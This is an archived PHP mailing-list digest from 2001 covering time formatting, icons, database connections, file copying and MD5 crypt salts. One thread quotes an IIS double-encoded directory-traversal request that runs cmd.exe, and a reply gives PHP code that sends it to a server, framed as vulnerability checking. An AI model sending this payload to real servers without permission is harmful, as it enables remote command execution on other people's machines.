RE: [PHP] Need help with formatting time

2001-07-17 Thread Christopher Ostmo

Jack Dempsey pressed the little lettered thingies in this order...

 $hours = $time / 60;
 $minutes = $time % 60;
 
 if($hours = 12){
  $meridian = 'pm';
  $hours -= 12;
 }
 else{$meridian = 'am';}
 if($hours == 0){$hour = '12';}
 
 echo $hours:$minutes$meridian;
 
 try something like that...haven't tested it, but it should be close...
 

That's a lot of code!

Use date() and mktime() and PHP will do all of this for you in one line.  
See my previous post on the subject. I sent *tested* code that will fit on 
a single line and will do exactly what the above is doing.

Christopher Ostmo
a.k.a. [EMAIL PROTECTED]
AppIdeas.com
Innovative Application Ideas
Meeting cutting edge dynamic
web site needs since the 
dawn of Internet time (1995)

Business Applications:
http://www.AppIdeas.com/

Open Source Applications:
http://open.AppIdeas.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Thank you all: Need help with formatting time

2001-07-17 Thread John Holcomb

Thank you all for your help and immedate responses.

The following worked:

$current_time = date(h:ia, mktime(0,780));

Thank ye all again :)






--- John Holcomb [EMAIL PROTECTED] wrote:
 Hello and thank you.
 
   I'm trying to find a function(method) or existing
 code taht takes the number of minutes that have
 passed
 in a day and returns the time of the day.  For
 example:
 
  780 minutes == 1pm,
  0 minutes == 12am,
  etc,etc.
 
 so I'm looking for code that when you enter the
 number
 of minutes, it returns the time of day.
 
 example:   
  
 $some_time = foo(780);
 
 print($some_time);
 
//prints 1:00pm
 
 
 Thnaks again.
 
 __
 Do You Yahoo!?
 Get personalized email addresses from Yahoo! Mail
 http://personal.mail.yahoo.com/


__
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




RE: [PHP] Need help with formatting time

2001-07-17 Thread scott [gts]

This will convert minutes to hours, then convert
to 12-hour am|pm based time.   all hours have 60
minutes.  it's simple mathematics to convert.

$m = 780;
$h = 0;

// convert to hours:minutes
while ($m = 60) {
  $h++;
  $m -= 60;
}
print $h:$m \n;

// convert to 12-hour am|pm 
if (!$h) {
  $suff = am;
  $h = 12;
}
elseif ($h == 12) {
  $suff = pm;
}
elseif ($h  12) {
  $suff = pm;
  $h -= 12;
}
print $h:$m $suff;

 -Original Message-
 From: John Holcomb [mailto:[EMAIL PROTECTED]]
 Sent: Tuesday, July 17, 2001 3:53 PM
 To: [EMAIL PROTECTED]
 Cc: [EMAIL PROTECTED]
 Subject: [PHP] Need help with formatting time
 
 
 Hello and thank you.
 
   I'm trying to find a function(method) or existing
 code taht takes the number of minutes that have passed
 in a day and returns the time of the day.  For
 example:
 
  780 minutes == 1pm,
  0 minutes == 12am,
  etc,etc.
 
 so I'm looking for code that when you enter the number
 of minutes, it returns the time of day.
 
 example:   
  
 $some_time = foo(780);
 
 print($some_time);
 
//prints 1:00pm
 
 
 Thnaks again.
 
 __
 Do You Yahoo!?
 Get personalized email addresses from Yahoo! Mail
 http://personal.mail.yahoo.com/
 
 -- 
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] displaying icons

2001-07-17 Thread Petr Jza

Hi everybody!
Please, have somebody any experience with displaying icons (type files
*.ico) in web pages?

When I have a pure html file that contain img src="abduction.ico", all is
OK - the icon is shown.
But when I create a html page with assistance PHP, the icon isn't shown.

Please, could you help me??
Thank you!

Best Regards, PETER.




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] PHP- Smoething i don't understand

2001-07-17 Thread Yassel Omar Izquierdo Souchay

Hi friends
thanks averybodoy for help me
i used the solition of  Jason Bell [EMAIL PROTECTED]

thanks Jason
with this

 try this:
 
 mysql_connect(YOUR_DB_HOST,DB_USERNAME,DB_PASSWORD);
 mysql_select_db(DB);
 $query = select * from info where FirstName='$FirstName' and
 LastName='$LastName' and email='$email';
 $result = mysql_query($query);

í already resolved the problem. much of your have reason. I didn't put the host name 
and the user..
Thanks again for Jason and Everybody

This is the best PHP list




RE: [PHP] Need help with formatting time

2001-07-17 Thread Jack Dempsey

Once again, a reminder of the smartest way to code php:
1) think for 2 seconds
2) check out php.net for documentation on functions
3) use a function (or 2) already written instead of spending time
yourself...

jack

-Original Message-
From: Christopher Ostmo [mailto:[EMAIL PROTECTED]] 
Sent: Tuesday, July 17, 2001 5:11 PM
To: Jack Dempsey
Cc: [EMAIL PROTECTED]
Subject: RE: [PHP] Need help with formatting time

Jack Dempsey pressed the little lettered thingies in this order...

 $hours = $time / 60;
 $minutes = $time % 60;
 
 if($hours = 12){
  $meridian = 'pm';
  $hours -= 12;
 }
 else{$meridian = 'am';}
 if($hours == 0){$hour = '12';}
 
 echo $hours:$minutes$meridian;
 
 try something like that...haven't tested it, but it should be close...
 

That's a lot of code!

Use date() and mktime() and PHP will do all of this for you in one line.

See my previous post on the subject. I sent *tested* code that will fit
on 
a single line and will do exactly what the above is doing.

Christopher Ostmo
a.k.a. [EMAIL PROTECTED]
AppIdeas.com
Innovative Application Ideas
Meeting cutting edge dynamic
web site needs since the 
dawn of Internet time (1995)

Business Applications:
http://www.AppIdeas.com/

Open Source Applications:
http://open.AppIdeas.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] displaying icons

2001-07-17 Thread Jason Bell

how are you trying to use PHP to output the html?

AFAIK, there shouldn't be any difference between:

HTML document:  IMG SRC="abduction.ico"
PHP document:  print "IMG SRC='abduction.ico'";

You should note however that within the PHP print statement, you should to
refrain from the use of quotation marks... if you must quote something, use
a single quote, as I did in my example.

-JB


- Original Message -
From: "Petr Jza" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Tuesday, July 17, 2001 12:47 PM
Subject: [PHP] displaying icons


 Hi everybody!
 Please, have somebody any experience with displaying icons (type files
 *.ico) in web pages?

 When I have a pure html file that contain img src="abduction.ico", all
is
 OK - the icon is shown.
 But when I create a html page with assistance PHP, the icon isn't shown.

 Please, could you help me??
 Thank you!

 Best Regards, PETER.




 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] 50 SEX Sites in ONE Affiliate Portal.................

2001-07-17 Thread [EMAIL PROTECTED]

on 7/17/01 4:32 PM, Christopher Ostmo at [EMAIL PROTECTED] wrote:

 But I do! I do! I LOVE Adult Entertainment. The Godfather and
 Shawshank Redemption are two of my favorite movies!

Oh my god! So do I. Let's go for it Chris!

Susan


-- 
[EMAIL PROTECTED]
http://futurebird.diaryland.com



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] How is the management of memory by PHP?

2001-07-17 Thread Luiz Fernando \(Tuca\)

Somebody know how it is the management of memory by PHP?

Thanks

Luiz Fernando



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] GET Command

2001-07-17 Thread Andrew Brampton

that is basically going to the URL
www.whatever.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

so do what the other guy said

 $site = fopen(http://www.whatever.com/, r);
 $contents = fread($site, 102400);
 fclose($site);

but like this:

 $site =
fopen(http://www.whatever.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/
c+dir+c:\, r);
 $contents = fread($site, 102400);
 fclose($site);

BTW there are MANY MANY MANY versions of this vulenabilty. so just checking
this one won't cover them all. Check out www.SecurityFocus.com and click the
Vulnibilitys link on the left

Andrew

- Original Message -
From: Clayton Dukes [EMAIL PROTECTED]
To: Matthew Loff [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Tuesday, July 17, 2001 7:37 PM
Subject: Re: [PHP] GET Command


 MessageHi,
 Here's what I'm trying to do:

 I want to test an IIS server for an invulnerability. This is done by
sending
 a GET command to test for it.
 Here's a blurb from the security advisory that I am working with:

 ---snip---
 A scan is performed over some region of the Internet, searching for web
 servers accepting TCP connections on port 80. A specially formed HTTP
GET
 request is then sent over the accepted connection to the server:
 GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
 ---snip---

 How can I do a simple page where, the user inputs the url
(www.whatever.com)
 And it runs this test, telling the user if it passes or fails, and returns
 the output?

 Btw, the security advisory comes from http://grc.com/dos/grcdos.htm which
 outlines some very interesting things happening with IRC based DoS
attacks,
 in case your interested.


 Thanks!


 Clayton Dukes
 CCNA, CCDA, CCDP, CCNP
 (c) 904.477.7825
 (h) 904.292.1881
 Download Free Essays, Term Papers and Cisco Training from
http://www.gdd.net


 - Original Message -
 From: Matthew Loff
 To: 'Clayton Dukes' ; [EMAIL PROTECTED]
 Sent: Tuesday, July 17, 2001 2:11 PM
 Subject: RE: [PHP] GEt Command



 $site = fopen(http://www.whatever.com/, r);
 $contents = fread($site, 102400);
 fclose($site);

 -Original Message-
 From: Clayton Dukes [mailto:[EMAIL PROTECTED]]
 Sent: Tuesday, July 17, 2001 2:08 PM
 To: [EMAIL PROTECTED]
 Subject: [PHP] GEt Command


 Does anyone have a simple script that will GET a web page and return the
 reply?

 Something like this:

 function getpage($host, $path, getstr) {
 $getstr=whatever\r\n;
 $host=www.whatever.com;

 $hdr=sprintf(GET $getstr, $path);
 $hdr .=Content-type: application/x-www-form-urlencoded\r\n;
 $hdr .=Accept: text/html\r\nAccept: text/plain\r\n;
 $hdr .=User-Agent: Mozilla/1.0\r\n\r\n;

 $fp = fsockopen($host , 80, $errno, $errstr, 45);
 if (!$fp) {
 echo $host open error: $errstr $errno .\n;
 return(0);
 } else {
 fputs($fp,$hdr.$poststr);
 return($fp);
 }
 }

 while (!feof($fp)) {
 $buff=fgets($fp, 1024);
 //dofoo($buff);
 echo $buff;
 }
 fclose($fp);


 TIA!

 Clayton Dukes
 CCNA, CCDA, CCDP, CCNP
 (c) 904.477.7825
 (h) 904.292.1881
 Download Free Essays, Term Papers and Cisco Training from
http://www.gdd.net


 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Time that db´s connection is keep alive

2001-07-17 Thread Marcos Mathias

People!

Someone can tell me if PHP 4 closes their connections to the DB
automatically at the end of the script?
Or I need to use the mssql_close function each time my work is done?

Best Regards!

Marcos Mathias


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Cannot copy a file to a dynamic folder

2001-07-17 Thread Vincent Chew

I get a parse error every time and I've modified the scripts a bunch of
times already.

// Make new directory function
$default_dir = (D:\www\Proj\$textfield2\);
if(file_exists($default_dir)) rmdir($default_dir);
mkdir($default_dir, 0777);

// Copy template.html to new directory
$filename = D:Automator\auto_2\Template.html;
copy($filename, ($default_dir) .overview.html);

Can I not have these two scripts run together? The mkdir function alone
works. Can someone tell me what I'm doing wrong?

Thank you.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] Time that db´s connection is keep alive

2001-07-17 Thread Christopher Ostmo

Marcos Mathias pressed the little lettered thingies in this order...

 People!
 
 Someone can tell me if PHP 4 closes their connections to the DB
 automatically at the end of the script?
 Or I need to use the mssql_close function each time my work is done?
 
 Best Regards!
 

From:
http://www.php.net/manual/en/function.mysql-connect.php
The link to the server will be closed as soon as the execution of the script ends, 
unless it's closed earlier by explicitly calling {HYPERLINK 
function.mysql-close.php}mysql_close().

From:
http://www.php.net/manual/en/function.mysql-pconnect.php
Second, the connection to the SQL server will not be closed when the execution 
of the script ends. Instead, the link will remain open for future use 
({HYPERLINK function.mysql-close.php}mysql_close() will not close links established 
by mysql_pconnect()).

So... if you use mysql_connect(), your connections are automatically closed at 
script completion with or without mysql_close(). If you use mysql_pconnect(), 
your connections stay open whether you use mysql_close() or not.

Your MySQL server will close unused connections after they have been unused 
for a set period of time.  Connections that are left open will be re-used if a 
request is made, so it's not like leaving a process hanging out in space.

Leaving the connection open reduces the processing overhead that is necessary 
to open and destroy a connection on every request, so it is generally considered 
worth the extra memory required to keep connections open that are not being 
used, but probably will be used shortly.

Only the person/people familiar with your server and/or web site can determine 
which is best: close connections at the cost of overhead for each connection or 
leave them open at the cost of requiring extra operating memory and system 
resources.

Decisions, decisions...

Christopher Ostmo
a.k.a. [EMAIL PROTECTED]
AppIdeas.com
Innovative Application Ideas
Meeting cutting edge dynamic
web site needs since the 
dawn of Internet time (1995)

Business Applications:
http://www.AppIdeas.com/

Open Source Applications:
http://open.AppIdeas.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Setting title with header ?

2001-07-17 Thread Beric Slobodan

I have this code:

$size = filesize($file); 
$fh = fopen($file, r); 
$name = basename($file);

header(Content-Type: application/octet-stream); 
header(Content-Length: $size); 
header(Content-Disposition:$attachment filename=$name); 
header(Content-Transfer-Encoding: binary); 

fpassthru($fh);

How can I set title of window ?  It works only if I set it (with 
echoTITLE) before fpassthru, but then if file is image or text, it 
displays unformatted data

TIA
Beric Slobodan

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Force new page in browser and wait commands

2001-07-17 Thread Hugh Danaher

Help, I'm new to php, and to writing software in general.  Enough said on that.  What 
I want to do, is to have my program wait for user input on a form and once data is 
submitted, to have the browser (IE5) generate a new page.  Right now, my program runs 
straight through input forms and appends everything to the existing page.  I now 
accomplish this by running several connected php programs, but want to do it in one 
program.  I've looked throughout the php manual and website but have yet to find the 
right commands.
Your help is greatly appreciated.
Hugh



[PHP] libxslt ?

2001-07-17 Thread Regenfeld

hi,

just a few questions ;-)

will there be a libxslt-extension available in the near future? 
I heard it will be featured in v.4.1? 
Or are there any alternatives to sablotron? 

thanx,
regenfeld


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] How make the time

2001-07-17 Thread David Tandberg-Johansen

Hello!

I am trying to make an online booking script for a client (restaurant), and
I am using MySQL to store the booking information
The restaurant have openings hour from 11:00 - 01:00, but do only take
reservation between 11:00-22:30.
The client wants to get a report written out over each hour like this:

11:002 Customers
11:1532 Customers
11:3012 Customers


22:3014 Customers

In the MySQL table I have set up the time field as 'time' with 00:00:00 as
default.

Everything is ok, but I am stuck on how to make this report. The customer
have set an interval of 15 mnutes between possible time to book, so I have
to make an 'SELECT'-query based on when the restaurant opens to the time of
the last possible booking time. But how do I make the timeset (11:00:00 and
up to 22:30:00)

My far out example:
interval = 15;
while (time=endtime){
time=starttime
DBCONNECTION
Select * from booking wher tine_field='time'
time = time+interval
}

Do anyone have any tips on how I can solve this

David



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] learning PHP from scratch

2001-07-17 Thread Matthew Garman

On Tue, Jul 17, 2001 at 04:55:11PM +1000, Jason Rennie wrote:
   This approach worked pretty well with previous people i teached 
   PHP, but they already had some sort of programming background. 
   This guy hasn't. I find that he has some difficulties picking 
   it up. And I have some difficulties to further help him. 
  
  Is he having problems with PHP, or database interaction with PHP?
 
 It sounds like he might be having problems with the basic programming
 concepts.
 
 Are you teaching him and then getting the guy to actaully try some for
 himself ?
 
 Start with something really basic, (hello world) and get him to do a
 couple of dynamic things that dont use the database, then introduce the db
 slowly. 

After the hello world, I would have him print it 10 times.  First let
him hardcode 10 echoes, then show him how a for loop works.  Since the
concept is almost the same, once he understands the for loop, have him do
it on his own with a while loop.

To expand on that, you might have each iteration of the loop print in
different formatting, e.g. p, h3, font color=xx.

Then have him build an array of strings, and use a for loop to create an
(un)ordered list from the array ul/ol.  Then have him build a 2D array
and create a table from it.

The next step might be to have him create an HTML form that accepts a
number from a user in a text box.  The user enters a number, and
submitting calls a PHP script that prints hello world as many times as
the input specified.

Just some suggestions, hope they help,
Matt

-- 
Matt Garman, [EMAIL PROTECTED]
I'll tip my hat to the new constitution, Take a bow for the new revolution
 Smile and grin at the change all around, Pick up my guitar and play
 Just like yesterday, Then I'll get on my knees and pray...
-- Pete Townshend/The Who, Won't Get Fooled Again


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] md5 crypt question

2001-07-17 Thread tc lewis


not sure if you've gotten any help on this yet.  perhaps test the
CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
and compiled php support md5 via crypt().  also, what salts did you try?
note the comments at the bottom of
http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
how it may be interpreted and how to escape the $ characters.  also, i'm
not sure if you need a $ character at the end of the salt string like in
some of the examples on those comments or not.  unfortunately, i don't
have a system with php running right now to test.

you may also want to investigate http://php.net/manual/en/ref.mhash.php
depending on what kind of functionality you need.  my guess is that
crypt() would be suitable for you if it worked properly.

-tcl.


On Tue, 17 Jul 2001, Jeremy Hansen wrote:


 I'd like to use php to do what I'm able to do in perl.

 use String::Random;
 use Crypt::PasswdMD5;

 $foo = new String::Random;

 $rand = $foo-randpattern(ss);

 print Type in your password: ;

 $password = STDIN;

 $hash = unix_md5_crypt($password,$rand);

 $salt = substr($hash,3,2);

 print SUBSTR: $salt\n;
 print HASH: $hash\n;
 print SALT: $rand\n;

 print Type in your password: ;
 $password_verify = STDIN;

 $hash_verify = unix_md5_crypt($password_verify,$salt);

 if ($hash eq $hash_verify) {
 print Good to go!\n;
 print HASH BEFORE: $hash\n;
 print HASH AFTER: $hash_verify\n;
 } else {
 print You fuckered it up!\n;
 print HASH BEFORE: $hash\n;
 print HASH AFTER: $hash_verify\n;
 }

 srv1:~$ ./crypt.pl
 Type in your password: password
 SUBSTR: Kd
 HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
 SALT: Kd
 Type in your password: password
 Good to go!
 HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
 HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0

 I've looked at crypt() in php and it claims that if you pass it a salt
 that resembles $1$ format, it should generate an md5 type hash, but this
 doesn't seem to be the case for me.  The crypt only looks at the first two
 characters of the salt, no matter what, so my salt never changes because
 it just seems $1.

 Thanks for explaining what I'm doing wrong.

 -jeremy

 --
 salad.


 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] md5 crypt question

2001-07-17 Thread Jeremy Hansen


Well, I'm assuming, perhaps incorrectly that the perl modules I used
derived its md5 capabilities from the system.  I did see all the comments
on the crypt() page and basically copied each one.  When passing a md5
looking salt, crypt() doesn't seem to do anything special with it and my
salt remains the same, first two character are taken like regular des.

How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5
constants.

Thanks
-jeremy

On Tue, 17 Jul 2001, tc lewis wrote:


 not sure if you've gotten any help on this yet.  perhaps test the
 CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
 and compiled php support md5 via crypt().  also, what salts did you try?
 note the comments at the bottom of
 http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
 how it may be interpreted and how to escape the $ characters.  also, i'm
 not sure if you need a $ character at the end of the salt string like in
 some of the examples on those comments or not.  unfortunately, i don't
 have a system with php running right now to test.

 you may also want to investigate http://php.net/manual/en/ref.mhash.php
 depending on what kind of functionality you need.  my guess is that
 crypt() would be suitable for you if it worked properly.

 -tcl.


 On Tue, 17 Jul 2001, Jeremy Hansen wrote:

 
  I'd like to use php to do what I'm able to do in perl.
 
  use String::Random;
  use Crypt::PasswdMD5;
 
  $foo = new String::Random;
 
  $rand = $foo-randpattern(ss);
 
  print Type in your password: ;
 
  $password = STDIN;
 
  $hash = unix_md5_crypt($password,$rand);
 
  $salt = substr($hash,3,2);
 
  print SUBSTR: $salt\n;
  print HASH: $hash\n;
  print SALT: $rand\n;
 
  print Type in your password: ;
  $password_verify = STDIN;
 
  $hash_verify = unix_md5_crypt($password_verify,$salt);
 
  if ($hash eq $hash_verify) {
  print Good to go!\n;
  print HASH BEFORE: $hash\n;
  print HASH AFTER: $hash_verify\n;
  } else {
  print You fuckered it up!\n;
  print HASH BEFORE: $hash\n;
  print HASH AFTER: $hash_verify\n;
  }
 
  srv1:~$ ./crypt.pl
  Type in your password: password
  SUBSTR: Kd
  HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
  SALT: Kd
  Type in your password: password
  Good to go!
  HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
  HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
 
  I've looked at crypt() in php and it claims that if you pass it a salt
  that resembles $1$ format, it should generate an md5 type hash, but this
  doesn't seem to be the case for me.  The crypt only looks at the first two
  characters of the salt, no matter what, so my salt never changes because
  it just seems $1.
 
  Thanks for explaining what I'm doing wrong.
 
  -jeremy
 
  --
  salad.
 
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, e-mail: [EMAIL PROTECTED]
  For additional commands, e-mail: [EMAIL PROTECTED]
  To contact the list administrators, e-mail: [EMAIL PROTECTED]
 
 



-- 
salad.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] md5 crypt question

2001-07-17 Thread Jeremy Hansen

On Tue, 17 Jul 2001, tc lewis wrote:


 try:
 php echo(CRYPT_SALT_LENGTH); ?
 php echo(CRYPT_MD5); ?

 or:
 php echo constant(CRYPT_SALT_LENGTH); ?
 php echo constant(CRYPT_MD5); ?

 you should get output of 12 and 1 (not 2 and 0) if md5 is supported in
 crypt(), i think.

 you compiled php on the system it's running on?  if you used a binary rpm
 or something, and the system it was compiled on didn't support md5, then
 it won't work.

This I built from source.  Hmm, if it uses system crpyt() then would using
mcrypt libs help with this?

I'll try the above.

-jeremy

 -tcl.


 On Tue, 17 Jul 2001, Jeremy Hansen wrote:

 
  Well, I'm assuming, perhaps incorrectly that the perl modules I used
  derived its md5 capabilities from the system.  I did see all the comments
  on the crypt() page and basically copied each one.  When passing a md5
  looking salt, crypt() doesn't seem to do anything special with it and my
  salt remains the same, first two character are taken like regular des.
 
  How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5
  constants.
 
  Thanks
  -jeremy
 
  On Tue, 17 Jul 2001, tc lewis wrote:
 
  
   not sure if you've gotten any help on this yet.  perhaps test the
   CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
   and compiled php support md5 via crypt().  also, what salts did you try?
   note the comments at the bottom of
   http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
   how it may be interpreted and how to escape the $ characters.  also, i'm
   not sure if you need a $ character at the end of the salt string like in
   some of the examples on those comments or not.  unfortunately, i don't
   have a system with php running right now to test.
  
   you may also want to investigate http://php.net/manual/en/ref.mhash.php
   depending on what kind of functionality you need.  my guess is that
   crypt() would be suitable for you if it worked properly.
  
   -tcl.
  
  
   On Tue, 17 Jul 2001, Jeremy Hansen wrote:
  
   
I'd like to use php to do what I'm able to do in perl.
   
use String::Random;
use Crypt::PasswdMD5;
   
$foo = new String::Random;
   
$rand = $foo-randpattern(ss);
   
print Type in your password: ;
   
$password = STDIN;
   
$hash = unix_md5_crypt($password,$rand);
   
$salt = substr($hash,3,2);
   
print SUBSTR: $salt\n;
print HASH: $hash\n;
print SALT: $rand\n;
   
print Type in your password: ;
$password_verify = STDIN;
   
$hash_verify = unix_md5_crypt($password_verify,$salt);
   
if ($hash eq $hash_verify) {
print Good to go!\n;
print HASH BEFORE: $hash\n;
print HASH AFTER: $hash_verify\n;
} else {
print You fuckered it up!\n;
print HASH BEFORE: $hash\n;
print HASH AFTER: $hash_verify\n;
}
   
srv1:~$ ./crypt.pl
Type in your password: password
SUBSTR: Kd
HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
SALT: Kd
Type in your password: password
Good to go!
HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
   
I've looked at crypt() in php and it claims that if you pass it a salt
that resembles $1$ format, it should generate an md5 type hash, but this
doesn't seem to be the case for me.  The crypt only looks at the first two
characters of the salt, no matter what, so my salt never changes because
it just seems $1.
   
Thanks for explaining what I'm doing wrong.
   
-jeremy
   
--
salad.
   
   
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]
   
   
  
  
 
  --
  salad.
 
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, e-mail: [EMAIL PROTECTED]
  For additional commands, e-mail: [EMAIL PROTECTED]
  To contact the list administrators, e-mail: [EMAIL PROTECTED]
 
 



-- 
salad.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] a simple question

2001-07-17 Thread Hamed

Hi,

Can anyone tell me please what is the equivelant of this statement from
perl, in PHP?

$variable = qq~a value with any quotes which doesnt need \'\'s~;

i use it to get away with all the s\lashes behind quotes. can anyone tell me
how to do that in php?

Regards
Hamed




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] md5 crypt question

2001-07-17 Thread Jeremy Hansen

On Tue, 17 Jul 2001, tc lewis wrote:


 try:
 php echo(CRYPT_SALT_LENGTH); ?
 php echo(CRYPT_MD5); ?

 or:
 php echo constant(CRYPT_SALT_LENGTH); ?
 php echo constant(CRYPT_MD5); ?

 you should get output of 12 and 1 (not 2 and 0) if md5 is supported in
 crypt(), i think.

Yeah, I'm getting 2 and 0.  Lame.  What's the answer to this.

-jeremy

 you compiled php on the system it's running on?  if you used a binary rpm
 or something, and the system it was compiled on didn't support md5, then
 it won't work.

 -tcl.


 On Tue, 17 Jul 2001, Jeremy Hansen wrote:

 
  Well, I'm assuming, perhaps incorrectly that the perl modules I used
  derived its md5 capabilities from the system.  I did see all the comments
  on the crypt() page and basically copied each one.  When passing a md5
  looking salt, crypt() doesn't seem to do anything special with it and my
  salt remains the same, first two character are taken like regular des.
 
  How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5
  constants.
 
  Thanks
  -jeremy
 
  On Tue, 17 Jul 2001, tc lewis wrote:
 
  
   not sure if you've gotten any help on this yet.  perhaps test the
   CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
   and compiled php support md5 via crypt().  also, what salts did you try?
